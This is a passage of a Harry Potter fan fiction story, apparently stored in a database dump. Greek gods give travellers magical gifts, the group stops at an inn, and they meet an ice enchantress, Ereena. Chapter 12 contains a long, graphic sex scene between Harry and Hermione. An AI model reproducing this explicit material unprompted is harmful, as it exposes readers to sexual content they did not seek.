sorry about that.&#8221; Artemis said as she approached the humans.&nbsp; &#8220;How about we make it up to you in some way?&#8221;</p>\n\n<p>&#8220;Not ruddy likely,&#8221; Aries said, but he felt his sister bash him in the stomach with her elbow.&nbsp; &#8220;Fine.&#8221; He said with disgust as he crossed his arms over his muscled chest.</p>\n\n<p>Artemis smiled and with the wave of her hand, four immortals appeared before them.&nbsp; &#8220;Because of Aries&#8217; deceit we the immortals shall grant to each of you something of great value.&#8221;&nbsp; </p>\n\n<p>Aries grunted, &#8220;I will start.&#8221; He pointed to Harry, &#8220;You step forward.&#8221;&nbsp; Just as Harry approached Aries, The god pulled from his holster a mighty sword with diamonds adorning the hilt and he handed it to the young man.&nbsp; &#8220;This is the finest sword in all the universe, it is completely unbreakable and you can cut through anything, stone, bones, you name it, this metal used will not leave a scratch.&#8221;&nbsp; He waited as Harry looked at the weapon as he stepped away from Aries.</p>\n\n<p>It was Artemis who then called Hermione forward, she pulled the quiver of arrows off her back, &#8220;These are sacred silver arrows, they will pierce the heart of any living creature no matter which distance you stand, they are also used to purify.&#8221;&nbsp; She handed her arrows and bow to Hermione.&nbsp; &#8220;I had watched you use the human arrows, and you were impressive with those, lets see how you would use these in the future.&#8221;&nbsp; She smiled as Hermione was looking down at the arrows.</p>\n\n<p>One of the immortal&#8217;s that was summoned by Artemis stepped forward, it was Athena and she was holding a bronze helmet.&nbsp; Artemis signaled for Marcelo to stand before Athena who was smiling.</p>\n\n<p>Athena looked the mortal over, &#8220;This is a helmet which makes its wearer invisible.&#8221;&nbsp; She handed it to him.</p>\n\n<p>Rosa leaned over to Meldina, &#8220;Is she sure she wants to give him that particular gift.&#8221;</p>\n\n<p>Meldina snickered, &#8220;Who knows what he would use it for.&#8221;</p>\n\n<p>&#8220;I can only imagine.&#8221; Rosa said with annoyance in her voice.&nbsp; It was then her turn to be called and she stood before another immortal with shimmering golden hair and enchanting blue eyes.</p>\n\n<p>&#8220;Greetings mortal, I am Aphrodite, which you would know me as Venus.&#8221;&nbsp; She held a hand mirror towards Rosa. &#8220;This is a mirror which one can see the truth in a lie.&#8221;</p>\n\n<p>Rosa nodded and accepted the gift, and stepping away.&nbsp; It was then Enzo&#8217;s turn and he approached one of the God&#8217;s who was wearing really thick armor.&nbsp; </p>\n\n<p>&#8220;Mortal, I am Hephaistos, which I am known here as Vulcan.&#8221;&nbsp; And he presented Enzo with a golden shield.&nbsp; &#8220;A shield crafted by me that will protect against anything.&#8221;&nbsp; He handed Enzo the shield and watched as the young mortal stepped back.</p>\n\n<p>Meldina was the last and she stepped towards the last immortal.</p>\n\n<p>&#8220;I normally do not do this kind of thing, for I live among mortals myself.&nbsp; But I thought I would make an exception for this group and for you.&nbsp; I am Hestia which is known here in Italy as Vesta.&nbsp; This is a rope which I weaved from the strongest fabrics and I am bestowing it upon you. Lady Meldina.&nbsp; It is completely unbreakable, it will not tear or shred.&nbsp; You can hold any weight amount with this rope.&#8221;&nbsp; She handed the rope to Meldina and watched as the young member of Italian royalty stepped back.</p>\n\n<p>Artemis then looked at each one of the mortals, &#8220;Guard these gifts well mortals for once they are gone you will not get them back.&#8221;</p>\n\n<p>&#8220;Eh, sorry about the...&#8221; Harry gestured towards the Hydra.</p>\n\n<p>Artemis was smiling, &#8220;That is not your fault, and I will be dealing accordingly with Aries.&#8221; She turned her gaze upon him and narrowed her eyes and she saw her brother lightly grin.&nbsp; &#8220;Come Aries I need someone to use as target practice.&#8221;&nbsp; She grabbed his arm and all of the immortals along with the Hydra disappeared.</p>\n\n<p>Rosa then turned to Meldina, &#8220;See I told you something was up, since when does a God need help from mortals?&nbsp; And didn&#8217;t I say that already?&#8221;</p>\n\n<p>Marcelo put his hand on Rosa&#8217;s shoulder, &#8220;Now, now Rosa, it&#8217;s not as bad as you made it out to be.&nbsp; Look at what we have been granted.&#8221;&nbsp; Marcelo was gazing down at his helmet.</p>\n\n<p>&#8220;Look you idiot, we were almost killed.&#8221; Rosa glared at Marcelo and then at his hand on her shoulder, &#8220;And take your hand from off of my person before I remove it.&#8221;</p>\n\n<p>Not wasting any time, Marcelo quickly removed his hand from Rosa&#8217;s shoulder, &#8220;You know I&#8217;m getting the feeling you don&#8217;t like me much.&#8221;</p>\n\n<p>&#8220;Gee, what gave you that idea?&#8221; Rosa said sarcastically while rolling her eyes.</p>\n\n<p>&#8220;You&#8217;ll see Rosa; you&#8217;ll fall for me before this journey is over.&#8221; Marcelo said with sly smirk.</p>\n\n<p>Rosa rolled her eyes again, &#8220;Highly doubtful.&#8221;</p>\n\n<p>Marcelo snickered, &#8220;You will, you&#8217;ll see.&#8221;&nbsp; He kept grinning.</p>\n\n<p>Meldina and Enzo were both laughing and Rosa turned to them with a sour look upon her face and shouted, &#8220;Oh be quiet the lot of you,&#8221; And she stalked off towards Harry and Hermione.</p>\n\n<p>And together the six of them headed back towards their horses to continue on their journey towards Torna, who knew what they would encounter next.&nbsp; But they were prepared for anything especially with their newest additions to their weapons.&nbsp; Hopefully, everything would go smoothly now.</p>\n\n<p>*&nbsp;&nbsp; *&nbsp;&nbsp; *</p>\n\n<p>A lone figure in the jail cell chained up the person who was bringing him food; he slipped the hood on and exited the jail, hoping to avoid the demon that protected the village and escape.&nbsp; He would get Marcelo and his new friends back for what they did to him, he promised himself that he would not rest until he got his revenge.&nbsp; He saw a drunken man fall off his horse unconscious and with a grin to himself, he said, &#8220;perfect.&#8221;&nbsp; </p>\n\n<p>========</p>\n\n<p>Well that is it for chapter 11, I hoped everyone enjoyed it and hope you stay tuned for chapter 12, it&#8217;ll be really exciting.</p>\n\n<p>Remember to review,</p>\n\n<p>Thanks,</p>\n\n<p>Ryoko Blue</p> '),
	(43, 12, ' <p>Disclaimer: Nope, not mine ^_^</p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 12&#8212;Troubles</p>\n\n<p>Evening seemed to be approaching at a much faster speed now. The group counted their blessings when they found an inn. Counting the money they had left, Harry figured they would run out of funds soon and he was sure they were still a very long way from Torna. He hoped they did not have to do any extra jobs on the way. That would make the time it took to get to the city even longer.</p>\n\n<p>After paying the inn keeper the correct amount of money for three rooms, Marcelo and Enzo decided to room together and Rosa and Meldina decided to share their room with each other which left Hermione and Harry to share a room. Harry and Hermione did not realize that their traveling party had decided to give them their privacy.</p>\n\n<p>&#8220;Good night,&#8221; Rosa giggled from the door of her and Meldina&#8217;s room, &#8220;We&#8217;ll see you bright and early tomorrow morning.&#8221;</p>\n\n<p>&#8220;Alright,&#8221; Hermione smiled and turned following Harry into their room.</p>\n\n<p>Harry immediately lit the candles using his wand. The room was small, but clean.&nbsp; There was one square window on the left side, and the sun had gone down completely.&nbsp; There was a bed, the head board made of iron rested up against the far wall,&nbsp; a small table with two chairs, and three candles sitting on the flat splintered wood of the table. There was no bathroom. Hermione had remembered seeing a bathroom in the hall on their way up here. </p>\n\n<p>The room was very quiet. Harry started pulling out food from their packs for dinner, he separated the fruits and the meats into piles, he wasn&#8217;t really concentrating on the food, more like the thoughts that were running through his mind were the gods, man what a ridiculous lot they are, how can they treat people like that!&nbsp; <i>We almost died!</i> Harry thought crossly. &nbsp;Time seemed to pass by as the two of them sat on the bed that was surprisingly soft and ate their dinner in silence while Harry was deep in thought.&nbsp; </p>\n\n<p>&#8220;How&#8217;s your shoulder?&#8221; Hermione suddenly spoke, causing Harry to jump a bit, startled. She heard him laugh softly.</p>\n\n<p>Hermione smirked, &#8220;Did I scare ya?&#8221; She snickered</p>\n\n<p>Running a hand through his hair, Harry nodded. &#8220;Well I was just thinking.&#8221;</p>\n\n<p>&#8220;About what?&#8221;</p>\n\n<p>Harry waved his hand in the air nonchalantly, &#8220;Nothing really important, the same stuff. You know, how are we going to get home, what other immortal beings are going to use us as pawns in their little games?&#8221;</p>\n\n<p>&#8220;It was awfully unfair for them to do that to us,&#8221; Hermione shook her head with disappointment, &#8220;You would think immortal beings had much more important things to do than to bother mortals.&#8221;</p>\n\n<p>Harry shoved a piece of meat in his mouth and chewed it quickly, &#8220;You were asking about my shoulder?&#8221; </p>\n\n<p>&#8220;Yes,&#8221; she answered seriously. Hermione wanted to know if the stitches that the nurse maid back in the village had been pulled out or loose because of the battle that they had. Of course she didn&#8217;t see any blood or anything through his shirt but you can never be too careful.</p>\n\n<p>&#8220;I&#8217;m not going to lie to you Hermione and tell you it doesn&#8217;t hurt, it hurts like hell.&#8221; He knew she was going to ask to see it, so might as well beat her to her question. Harry grabbed the hem of his shirt and pulled it up over his head. He saw Hermione&#8217;s eyes shoot up towards the curved wound that had been sewn together. Harry tilted his head looking at it himself. He noticed that it was still puffy but the swelling had gone down considerably. He was relieved to find that the thread was not pulled and the wound did not open but of course, there was still some blood lightly flowing from it.</p>\n\n<p>Hermione hummed, scrutinizing the wound, &#8220;Well at least it&#8217;s not ripped open or anything. It could have you know; considering you were waving that sword around like there was no tomorrow.&#8221;</p>\n\n<p>&#8220;Hey now, would you have rather gotten eaten by that thing?&#8221;</p>\n\n<p>Her hands lifted in the air defensively, &#8220;Hey I wasn&#8217;t saying that it was completely wrong, Harry.&nbsp; You sure jump to conclusions.&#8221;</p>\n\n<p>Slouching forward, Harry rested his chin on his fist and grumbled, &#8220;Sorry,&#8221; he said a tad tensely, while looking away from her.</p>\n\n<p>Rolling her eyes, she did not want to get into a fight with him now of all times, besides she was too tired to do much of anything even argue. Rubbing her tired eyes, she then stretched her arms up towards the ceiling.&nbsp; &#8220;I&#8217;m going to bed.&#8221; Getting up she moved their packs off the bed and placed them up against the wall.</p>\n\n<p>&#8220;Are you mad at me?&#8221; Harry asked innocently.</p>\n\n<p>&#8220;Not mad, Harry.&#8221; She sighed and pulled the blankets back, &#8220;I&#8217;m just tired all right.&#8221; Hermione answered in an annoyed tone and Harry groaned.&nbsp; Hermione ignored that for now, she slipped quietly into the blankets, her back to him.</p>\n\n<p>Great, now he was getting the silent treatment. That girl got mad quicker than anyone he knew, even his relatives.&nbsp; But being a gentleman, instead of starting a fight, he quietly got up and went to the candles on the table and blew them out for her.&nbsp; &#8220;Good night Hermione.&#8221;&nbsp; The half moon light shone in the room from the window and the stars were twinkling brightly.</p>\n\n<p>&#8220;Good night.&#8221; Hermione said while yawning.</p>\n\n<p>He grabbed a chair from around the table, and brought it over to the window and sat down, glancing out.&nbsp; Harry wondered what other dangers they would come in contact with. he had to admit that he was afraid, who wouldn&#8217;t be afraid if they were suddenly dropped back in the ancient past, with monsters ready to swallow you whole, and the fear of losing the one you care about to those monsters.&nbsp; The mere idea of it, caused Harry to shudder, he took a look over at Hermione, her back was still facing his direction.&nbsp; Wondering if she was already asleep, he quietly stood from the chair and headed over to the bed.&nbsp; </p>\n\n<p>Reaching the side of the bed, he leaned over the side, over her back to peer at her face, her eyes were closed and her breathing was steady, &#8220;Hermione?&#8221; he whispered, and when Harry didn&#8217;t receive an answer he nodded to himself.&nbsp; Definitely, she was asleep.&nbsp; Perhaps he should get some sleep too. After deciding that he stripped down to his boxers and climbed in the bed next to Hermione and throwing his arm over his eyes to block out any of the light that came in through the window.&nbsp; With his other hand, he grabbed the blankets and pulled them over himself and settled down to sleep.</p>\n\n<p>The room was boiling, stifling as he threw off the blanket, his legs resting out on top of the sheets, he could hear Hermione&#8217;s soft breathing next to him an occasional snore escaped her nose and he sniggered to himself.&nbsp; He cursed her silently for being able to sleep in this heat, he didn&#8217;t know what time it was only that the moon was high in the sky. He couldn&#8217;t see it anymore that&#8217;s for sure but the moons rays shone in through the window, stupid nearly full moon, Harry thought to himself.&nbsp; Hearing the blankets shift and the mattress move next to him, he turned his head and looked at Hermione.</p>\n\n<p>One of her hands was fisted in the blanket and it was stretched up over her breasts and pulled tight resting against her neck, her legs were tangled in the sheets, and Harry could see her creamy thigh.&nbsp; He swallowed hard and closed his eyes and his heartbeat sped up.&nbsp; It was true it had been a long time since he had held her, been this close to her since they had been here in the past.&nbsp; Gods he missed touching her and keeping her close to him.&nbsp; His eyes shot up and he again looked in her direction.</p>\n\n<p>Shifting on his side and propping himself up on his elbow he gazed down at her sleeping face, she seemed so peaceful and happy.&nbsp; Harry lifted his hand and lightly traced her cheek with his finger tips, he felt a sudden surge of guilt knowing that it was all his fault that she was here in this ancient time, her life in danger.&nbsp; It was all his fault, she should not be suffering, she is innocent.&nbsp; Harry promised himself as he stroked his fingers in her hair that he would never let anything happen to her, that he would always protect her.&nbsp; No matter what.&nbsp; Leaning over he lightly pressed his lips to her forehead, &#8220;I promise.&#8221; He whispered to her sleeping form, then lightly tracing her neck and throat with his fingers.</p>\n\n<p>In her sleep, Hermione smiled and seeing it made Harry&#8217;s stomach flip.&nbsp; Leaning in, Harry lightly touched his lips to her nose and then her cheek, he heard her softly sigh. Pulling back he saw her eye lashes flutter and then open.&nbsp; </p>\n\n<p>Turning her head a bit, looking at him, she blinked her eyes getting used to having being woken up.&nbsp; &#8220;Harry?&#8221; She started softly, and then felt a soft brushing on her bare thigh, she cleared her throat.&nbsp; &#8220;What are you doing?&#8221; she asked tiredly.</p>\n\n<p>Harry simply smiled and moved in kissing her full on the mouth, his fingers stroking her skin, moving towards the crease between them, she moaned softly and her thighs seemed to part a little, Hermione felt his hand rub up the inside of her thigh, caressing with his palm and fingers, then fingers disappearing in the juncture between legs, and she groaned out loud.&nbsp; </p>\n\n<p>&#8220;Harry,&#8221; She breathed out, &#8220;A&#8212;are you sure you want to do this.&#8221;&nbsp; Hermione moaned, &#8220;What about your&#8230;&#8221; Her pulse raced faster as she felt his hand palming her sex and his finger pressing inside her, &#8220;Injury?&#8221; She closed her eyes and seemed to purr lightly.</p>\n\n<p>Grinning against her neck, Harry lightly kissed her there.&nbsp; &#8220;Don&#8217;t worry about it.&#8221;&nbsp; He whispered and moved his finger quicker inside her warmth.</p>\n\n<p>Wrapping her arms around his neck, Hermione was still careful of his injury.&nbsp; She clung to him as he rubbed his other hand up and down her hip, her side, up to cup her breast, shaping it with his palm causing Hermione to squeal lightly.</p>\n\n<p>&#8220;Harry,&#8221; Hermione said her voice sounding thick, her eyes found his and she smiled, carefully pushing him on his back and swinging her leg over him, straddling him.&nbsp; Her hair hung down to one side and she moved in and kissed him hard on the mouth, her palms were flattened against his chest as she adjusted herself so she was positioned over his hard erection.&nbsp; Taking but a moment Harry reached down between the both of them to rid himself of his boxers.&nbsp; </p>\n\n<p>They were both breathing hard as Hermione lifted the bottom half of her toga, at the same time her tongue dipping into his mouth, mating with his.&nbsp; Her hand went between them and she curved her fingers around his length, hearing him sigh she pressed the tip of his erection in between her folds while pressing herself down slowly onto him.&nbsp; Hermione moaned his name seductively and Harry reached up gripping her hips while pressing the back of his head into the pillow his mouth slightly open in pure bliss as her body engulfed his hardness like a warm glove.</p>\n\n<p>Her face contorted in complete concentration as the feelings of being stretched and filled completely, raced through her.&nbsp; Oh it was the most intense feeling as she settled down on him completely, her heart pounded hard within her chest.&nbsp; She started slow, moving herself up and down on him, her eyes closed as she concentrated on the feelings she was feeling.&nbsp; Getting to a sitting position, Harry still let her have most of the control, but he wanted to touch her, hold her, and caress her body.&nbsp; </p>\n\n<p>The shoulder strap of her toga gown had fallen down exposing more of her shoulder; Harry bent forward kissing his way from her shoulder, up her slender neck, to press his mouth hard against hers as her body exquisitely moved atop his, harder and harder.&nbsp;&nbsp; Hermione&#8217;s arms circled around his neck as she cried out with every move she made, her eyes blissfully shut.&nbsp; His hands were everywhere, her back, her breasts molding and caressing flicking her stiff nipples with his fingers.</p>\n\n<p>&nbsp;Gods she missed this, missed him, missed feeling him there deeper inside her, nearly bringing out a wild demon from within her.&nbsp; Her mouth found his, hard and hot.&nbsp; Hermione felt herself start to shake atop of him, Harry held her tighter to him, as she reached it, the peak of her pleasure, falling into sweet nothingness, melting from reality.</p>\n\n<p>Feeling her tighten around him felt so good, so hot.&nbsp; Harry clutched her hips hard, pulling her down forcefully onto him, imbedding himself deep within her folds, inside her eternal warmth crying out.&nbsp; He fell backwards onto the bed, Hermione on top of him.&nbsp; Both of them breathing so hard, they felt their lungs would burst out of their chests.&nbsp; Moaning in appreciation, Hermione stayed exactly where she was, she did not want to move.&nbsp; She felt fingers in her hair and she smiled while her eyes were drifting closed, her cheek resting against his chest as she listened to his very soothing heartbeat.</p>\n\n<p>Pulling the blankets up around them, Harry tucked them in.&nbsp; He did not want to move her.&nbsp; He wanted to stay just this way.&nbsp; Circling his arms around her, holding her tightly too him, he felt his eyes start to droop and then close as he seemed to join her in the land of slumber. </p>\n\n<p>****</p>\n\n<p>The sounds of birds chirping outside and the combination of the warm sunrays shinning brightly on Hermione&#8217;s sleeping face caused her to squint, coming out of the daze of slumber.&nbsp;&nbsp;&nbsp; She woke feeling surprisingly well rested for the first time since they had been thrown back in the past.&nbsp;&nbsp; Hermione feeling that someone was watching her, turned her head to find Harry, dressed and sitting in a chair by the side of the bed.&nbsp; &#8220;Good morning.&#8221; She smiled brightly.</p>\n\n<p>Harry simply returned the gesture, &#8220;Morning.&#8221;</p>\n\n<p>&#8220;How long have you been awake?&#8221; She asked rising to a sitting position.</p>\n\n<p>Shrugging, Harry stretched his arms forward and then leaned back in the chair, &#8220;Not long.&nbsp; You just looked so peaceful I didn&#8217;t want to wake you.&#8221;</p>\n\n<p>Hermione threw the blankets off of her and lifted herself off the bed, her toga hem falling down to her thighs; she really needed to get some other clothes, something more suitable for travel.&nbsp; Stretching her arms upward, Hermione pulled the kinks out of her back and sighed.&nbsp; &#8220;Is your shoulder all right?&#8221;</p>\n\n<p>Nodding, Harry answered, &#8220;Yeah, why do you ask?&#8221; He reached back and rubbed the back of his neck.</p>\n\n<p>She reached up and started twirling the ends of her hair with her fingers, &#8220;Well you know after what happened between us last night; I figured you could have pulled the stitches out.&#8221;&nbsp; Hermione rocked back and forth on her heels, &#8220;The last thing I want to do is hurt you.&#8221;</p>\n\n<p>&#8220;I understand Hermione,&#8221; Harry stood and approached coming to stand in front of her, &#8220;No worries.&#8221;&nbsp; He reached up and held his hand out to her, Harry watched as Hermione slipped her fingers into his open hand, his fingers curving around her hand.&nbsp; &#8220;I am as fine as can be,&#8221; Harry pulled her closer and wrapped his arms tightly around her waist, resting his chin atop her head.&nbsp; He felt her relax into him as she too wrapped her arms around him.&nbsp; &#8220;We should get going; the others are probably waiting for us.&#8221; He said quietly.</p>\n\n<p>Nodding slowly, she agreed.&nbsp; &#8220;Yeah we should.&#8221;&nbsp; Stepping out of his embrace, Hermione lifted her head, smiling sweetly at him.&nbsp; &#8220;We need to get home.&#8221;&nbsp; Hermione spun around and went for her pack lying up against the wall, Harry did the same.</p>\n\n<p>A brief stop to the bathroom, and using a piece of leather as a toothbrush to clean their teeth, and perform other necessary bathroom duties; it was tough living in this time period, no indoor plumbing, the water was pumped in by a lever and the toilet was just a wooden bowl which someone had to clean it out daily.&nbsp; They sure didn&#8217;t take too long in there that was for sure.&nbsp; Hermione and Harry raced down to the lobby of the inn, where sure enough their group was waiting for them.&nbsp; Enzo was playing the game of Paper, Rock, Scissors, with Rosa, which Hermione showed them yesterday.&nbsp; It appeared that Rosa was winning and she was an awful winner, pointing, laughing and cheering herself on every time she got the upper hand.&nbsp; It made both Harry and Hermione laugh seeing Enzo&#8217;s grumpy face.&nbsp; </p>\n\n<p>While they were all walking outside into the warm morning sunlight, Marcelo said, &#8220;Ah, there you two are.&#8221; with a knowing tone, &#8220;Can I assume you two were up pretty late.&#8221; He wiggled his brows suggestively.</p>\n\n<p>Hermione&#8217;s face flamed crimson, &#8220;That is none of your business, come on Harry.&#8221; She said throwing her nose in the air.</p>\n\n<p>Harry couldn&#8217;t help but chuckle at her embarrassment, &#8220;Come on Marcelo, that&#8217;s enough.&nbsp; What we do is our own business.&#8221;</p>\n\n<p>&#8220;I agree, besides you&#8217;re in love and that is so wonderful.&#8221; Meldina softly sighed and clapped her hands together.&nbsp; &#8220;Love is such a beautiful thing.&#8221;</p>\n\n<p>Running a hand through his hair, Marcelo leaned on the side of the inn looking charmingly at Meldina, &#8220;You know, I believe in love too.&#8221;</p>\n\n<p>Meldina&#8217;s brow arched with suspicion, &#8220;Is that so?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; He straightened up, &#8220;The love between a man and a woman is truly one of the Gods&#8217; greatest gifts they could bestow upon us mortals.&#8221;&nbsp; </p>\n\n<p>Her eyes seemed to sparkle with admiration; perhaps he wasn&#8217;t as stupid as she thought.&nbsp; She was smiling.</p>\n\n<p>&#8220;You know, Meldina, I could prove to you how wonderful being in love can be.&nbsp; We can even practice.&#8221;</p>\n\n<p>She growled, and the sparkling admiration left her eyes, &#8220;Practice, practice for what?&#8221;</p>\n\n<p>Hearing a low growl, Harry and Hermione glanced up from the map they were looking at, their attention now was firmly on what was going on around them, rather than figuring out how to get to Torna.</p>\n\n<p>Marcelo&#8217;s arm curved around Meldina&#8217;s shoulder and he pulled her closer, he did not notice that she was irritated, her whole body shook slightly with anger and her eyes were closed, her fist rising up against her chest.&nbsp; &#8220;Why practice for our wedding night of course.&#8221; He said rather roguishly.</p>\n\n<p>For a moment, letting her anger reach its peak, Meldina did not even speak, she just lifted her hand and then at the same time as she said&#8230;&#8220;Why you&#8230;pervert!&#8221; She shouted, having slapped him so hard that it knocked him to the ground.&nbsp; She turned abruptly and stomped away from him while shaking her tense fists around heading towards Hermione, &#8220;He won&#8217;t get away with this, he won&#8217;t, he won&#8217;t!&#8221;</p>\n\n<p>Enzo was snickering, and Marcelo simply gazed at her from his spot on the ground, &#8220;She loves me,&#8221; He grinned smoothly.&nbsp; Marcelo could hear even Harry and Hermione laughing, but he just shrugged it off and stood, dusting himself off as if it hadn&#8217;t even happened.&nbsp; &#8220;So where are we going?&#8221;</p>\n\n<p>Hermione calmed down from her laughing fit, &#8220;We will be going up through these mountains,&#8221; She pointed to the map, and Enzo and Marcelo moved by her side and glanced over her shoulder looking down at the mountain range.</p>\n\n<p>&#8220;Hmm, we&#8217;re going up into those mountains?&#8221; Enzo asked with caution in his voice.</p>\n\n<p>&#8220;Yeah, why?&#8221; Harry could see the discomfort in the way Enzo was standing.</p>\n\n<p>Rubbing the back of his head, nervously, Enzo replied. &#8220;Well it&#8217;s dangerous is all, Are you sure you want to risk your life over this.&#8221;</p>\n\n<p>Harry nodded, &#8220;We would risk it all just to get home.&#8221;</p>\n\n<p>With a sigh, Enzo wondered himself if this was worth it.&nbsp; &#8220;You know, you two could have a perfectly happy life.&#8221;</p>\n\n<p>Hearing the concern in his voice, Hermione knew what he was trying to say.&nbsp; Saying that he really didn&#8217;t want anyone to suffer or get hurt.&nbsp; &#8220;That might be true Enzo, but we don&#8217;t belong here.&nbsp; Our family, our friends are all back in twenty first century, and as wonderful as you make it all sound, I would not want to continue living in this time period.&nbsp; We are already too set in our ways to conform to living without plumbing for one.&#8221; Hermione teased with a friendly smile.</p>\n\n<p>Feeling a hard slap on his back, Harry looked at Marcelo.&nbsp; &#8220;Did you want to say something?&#8221;</p>\n\n<p>Marcelo nodded, &#8220;Yeah, let&#8217;s get you two home.&#8221; The red head said, grinning from ear to ear.</p>\n\n<p>&#8220;Good idea.&#8221; Harry also grinned and started rolling up the map and putting it securely in his pack.</p>\n\n<p>The group then climbed up onto their horses and headed towards the mountains and most of all getting closer to Torna.</p>\n\n<p>****</p>\n\n<p>&#8220;It&#8217;s so c-c-cold.&#8221;&nbsp; Hermione&#8217;s teeth chattered as she pulled the fur lined coat tighter around her body.&nbsp; Her nose felt frozen as if it were ready to pop off.&nbsp; </p>\n\n<p>They were high in the frozen mountains; Hermione didn&#8217;t even think there was snow during this time of year.&nbsp; It was summer.&nbsp; As if by magic a sudden blizzard assaulted the traveling party.&nbsp; </p>\n\n<p>&#8220;Harry!&#8221; Hermione screeched through the mad falling snow and howling wind, &#8220;We can&#8217;t go on anymore in this weather.&#8221;</p>\n\n<p>He tended to agree, &#8220;I know, but I don&#8217;t see any shelter for us.&#8221;</p>\n\n<p>&#8220;Meldina, what should we do?&#8221; Rosa asked. Her fingers felt like they were frozen to the horses&#8217; reins.&nbsp; Even wearing their thick coats the cold seemed to be biting into them worse than ever.</p>\n\n<p>Squinting, Harry thought he saw a light coming towards them, it kept coming closer and closer.&nbsp; Pulling his horse to a stop, the light still pressed forward.&nbsp; &#8220;Do you guys see that?&#8221; </p>\n\n<p>&#8220;Do you think it&#8217;s a ghost?&#8221; Rosa asked, also squinting.</p>\n\n<p>The light suddenly stopped moving, &#8220;Who is there?&#8221; A feminine voice shouted and the blizzard immediately died down.</p>\n\n<p>The whole group blinked for what they saw in front of them was a tall young woman, wearing a white fur coat, her eyes were the darkest black and there was a whispering of midnight bangs resting against her forehead, but as the wind settled and ruffled through her hair, they could see a small purple triangle shaped marking on her forehead.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry cleared his throat, &#8220;We are on our way to Torna. Would there be an inn or something somewhere where we could rest for awhile?&#8221;</p>\n\n<p>The woman stepped closer, her eyes squinting as she shoved the lantern in Harry&#8217;s face.&nbsp; &#8220;I know you.&#8221; She said with tensely.</p>\n\n<p>Arching his brows, Harry wondered how she knows him.&nbsp; He has never seen her in his whole entire life.&nbsp; &#8220;How do you know me?&#8221;</p>\n\n<p>A tiny smirk curved against her lips, &#8220;I just know.&#8221;&nbsp; Her smirk disappeared and all that was in its place was an emotionless mask, &#8220;Follow me, you may rest in my palace.&#8221;&nbsp; She gestured with a grand sweep of her arm towards the tall palace which seemed to be made of nothing but ice.&nbsp; It was a sight to behold, much like in a fairy tale, with its towers and turrets.&nbsp; The woman started walking, what was odd about this woman was that she wasn&#8217;t wearing shoes, her feet were bare and she wasn&#8217;t even shivering.</p>\n\n<p>Harry looked back at his friends and they all nodded, turning around he nudged his horse and it started moving, following the young woman.</p>\n\n<p>Men dressed in what looked like flimsy tunics ran forward and took charge of the horses.</p>\n\n<p>&#8220;Aren&#8217;t they cold?&#8221; Meldina asked the woman about the stable hands. </p>\n\n<p>The woman merely shook her head and said, &#8220;No,&#8221; Plainly.&nbsp; After giving each of her guests a glance over, she cleared her throat.&nbsp; &#8220;You seem harmless enough, come along inside.&#8221;</p>\n\n<p>They followed her through the courtyard of trees which looked jagged and dead, a fountain was frozen over and snow seemed to dust everything lightly.&nbsp; The woman brought them in through two large iron doors, which she pulled open herself really easily.</p>\n\n<p>Marcelo&#8217;s jaw dropped the moment he and his friends stepped inside, &#8220;This is absolutely amazing.&#8221;&nbsp; He said in awe, what&#8217;s more was that he felt warm, not at all like he thought.&nbsp; Sure a castle made of ice should be cold, but this was not.&nbsp; It was toasty warm.</p>\n\n<p>The woman led them into one of the sitting rooms, where she pointed to the sofa, and chairs which were placed decoratively around a wooden table.&nbsp;&nbsp; She sat down herself in a chair with a high back and a red cushion for her head to lean against.&nbsp;&nbsp; She watched as everyone else took a seat.</p>\n\n<p>&#8220;First things first,&#8221; She started, &#8220;I am Ereena, and welcome to my home.&#8221;</p>\n\n<p>Hermione gasped and nudged Harry lightly with her elbow, she saw him nod in understanding.</p>\n\n<p>&#8220;You are Ereena?&#8221;&nbsp; Harry now noticed that she did look an awful lot like Ellia, except for the differences in eye and hair color.&nbsp; Ellia was a silver and angelic looking, where as Ereena here seemed the exact opposite.</p>\n\n<p>&#8220;I am surprised to hear that you have heard of me?&#8221; Ereena answered in a soft tone, as if she wasn&#8217;t surprised at all.</p>\n\n<p>Hermione fidgeted in her seat, wringing her fingers together.&nbsp; &#8220;We met your sister.&#8221;</p>\n\n<p>The woman&#8217;s eyes seemed to blaze red for a moment, before changing back to their dark obsidian like color. &#8220;You met my sister?&nbsp; How unfortunate for you.&#8221;&nbsp; Ereena crossed her legs, one over the other and shifted a bit in her chair.&nbsp; &#8220;I want to apologize to you about the blizzard which I put in your path. You see, I do not trust strangers and you trespassed into my realm.&#8221;</p>\n\n<p>&#8220;You made that blizzard?&#8221;&nbsp; Rosa asked sitting up straighter.</p>\n\n<p>Ereena grinned, &#8220;That I did, and you see I am an enchantress, much like my sister.&nbsp; Although my tastes tend to run a little darker than hers, there is nothing I won&#8217;t try.&nbsp; But she, Ellia, has a conscience.&#8221;&nbsp; She said this as she glanced down at her clean fingernails.</p>\n\n<p>&#8220;I&#8217;m curious,&#8221; Harry spoke up, &#8220;Why is it you think you know me?&#8221;</p>\n\n<p>Again there was that smirk upon Ereena&#8217;s lips, &#8220;Well when I spoke to the oracle that lives in Sapphire City, she told me that several young people were coming to pay me a visit.&nbsp; I of course didn&#8217;t really believe her at first, until this very arrogant young man whose face she showed me in her seeing pool, he in fact came to my door, I let him in.&nbsp; He stayed a night and was gone by sunrise the next day.&#8221;&nbsp; She then snarled, &#8220;That bastard deceived me and ran off with a few of my spells, powerful ones at that.&#8221;</p>\n\n<p>&#8220;Spells?&#8221; Hermione asked, &#8220;What kind of spells.&#8221;</p>\n\n<p>Ereena sighed and leaned back in her chair, folding her hands in front of her in her lap.&nbsp; &#8220;Ones that kill, I had just invented this one where a stream of green light shot out from a wand could kill a human instantly.&#8221;</p>\n\n<p>Both Harry and Hermione turned and looked at each other knowingly, they brought their attention back to Ereena.&nbsp; </p>\n\n<p>&#8220;What did the oracle say about us?&#8221; Hermione asked.</p>\n\n<p>&#8220;That you would get revenge for me, for him stealing my spells.&nbsp; I saw all of our faces in that pool of liquid.&#8221;&nbsp; Ereena grinned, &#8220;Now I trust you will do what is expected of you.&#8221;</p>\n\n<p>&#8220;We have no time to go chasing around a thief.&#8221; Harry said to Ereena.</p>\n\n<p>Ereena&#8217;s eyes narrowed and she got to her feet, &#8220;You will do what is expected of you, the oracle has already foretold it.&nbsp; She wasn&#8217;t wrong about the thief, so I don&#8217;t think she is wrong about you.&#8221;</p>\n\n<p>Crossing her feet at her ankles, Hermione let out a puff of air, &#8220;What else did this thief take from you?&#8221;</p>\n\n<p>Her cross expression turned to one of kindness, Ereena walked over to Hermione, &#8220;Would you like to see 